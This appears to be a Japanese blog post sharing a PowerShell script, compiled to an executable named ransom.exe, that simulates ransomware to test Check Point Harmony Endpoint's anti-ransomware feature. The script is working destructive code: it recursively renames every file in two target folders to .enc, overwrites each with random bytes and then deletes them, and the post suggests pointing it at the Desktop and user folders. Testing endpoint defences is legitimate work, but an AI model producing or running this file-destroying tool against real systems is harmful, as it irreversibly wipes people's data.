指定したディレクトリにあるファイルの拡張子を変更、ランダムなデータを追加し、削除するプログラム。AntiRansomewareの検証用に作成しました。
まずはPowershellで作成
function RenameandEnc($targetFolder){
# 指定したフォルダ内のすべてのファイルを再帰的に取得します。
$files = Get-ChildItem -Path $targetFolder -File -Recurse
# ファイルごとに処理を行います。
foreach ($file in $files) {
if ($file.Name -ne "ransom.exe") {
# ランダムな100バイトのデータを生成します。
$randomData = [byte[]]::new(100)
[System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($randomData)
# ファイルの拡張子を.encに変更します。
$newExtension = ".enc"
$newFileName = $file.FullName + $newExtension
Rename-Item -Path $file.FullName -NewName $newFileName
# ファイルにランダムなデータを追加します。
[System.IO.File]::WriteAllBytes($newFileName, $randomData)
}
}
}
function DeleteFile($DeleteFolder){
# 指定したフォルダ内のすべてのファイルを再帰的に取得します。
$dfiles = Get-ChildItem -Path $DeleteFolder -File -Recurse
# ファイルごとに処理を行います。
foreach ($dfile in $dfiles) {
if ($dfile.Name -ne "ransom.exe") {
# ファイルを削除します。
Remove-Item -Path $dfile.FullName
}
}
}
# スクリプト実行時に引数からフォルダのパスを取得します。
if ($args.Count -ne 2) {
Write-Host "Usage: program.exe directory1 directory2"
exit
}
# 変更したいフォルダのパスを指定します。
$targetFolder1 = $args[0]
$targetFolder2 = $args[1]
RenameandEnc $targetFolder1
Start-Sleep 5
DeleteFile $targetFolder1
RenameandEnc $targetFolder2
DeleteFile $targetFolder2
Write-Host "finish"
次にPowershellからEXE形式に変換
上記Powershellプログラムをps2exeでexe形式に変換。
※ps2exeのインストール方法:PS>Install-Module ps2exe
ps2exe .\powershell.ps1 ./ransom.exe
このプログラムの動作は以下。
1.ransom.exeを任意のフォルダに保存します。
2.このプログラムは、「ransom.exe ディレクトリ1 ディレクトリ2」
と2つのディレクトリを引数に指定します。(コマンドプロンプトで実行する)
3.最初のディレクトリ1にあるファイルを再帰的に検索し、拡張子をencに変更、ランダムなデータを追加し、5秒間Sleepします。その後、ディレクトリ1にあるファイルを全て削除します。
4.次にディレクトリ2にあるファイルを同じく再帰的に検索し、拡張子をencに変更、ランダムなデータを追加後、すぐにディレクトリ2にあるファイルを全て削除します。
CheckpointのHarmony EndPointで検証した場合、ディレクトリ1にDesktopファルダ、ディレクトリ2にuserフォルダを指定すると、4に入ったあたりでAntiRansomeware機能が発動します。視覚的にはデスクトップ上のファイルの拡張子が変更され、5秒後に削除された後、Harmony EndPointの機能で検知、ファイルが復元されるので動きとして見やすいでしょう。
その他
当初、C言語で同様のプログラムを作成しようと思いましたが、以下の理由でうまくいきませんでした。
・ファイルを再帰的に検索する際に、途中で検索が止まってしまう(おそらく再帰呼出しによるスタックメモリの枯渇)
PythonやPowershellだとファイルの検索が簡単にできたのでPowershellで作成後、EXE化することにしました。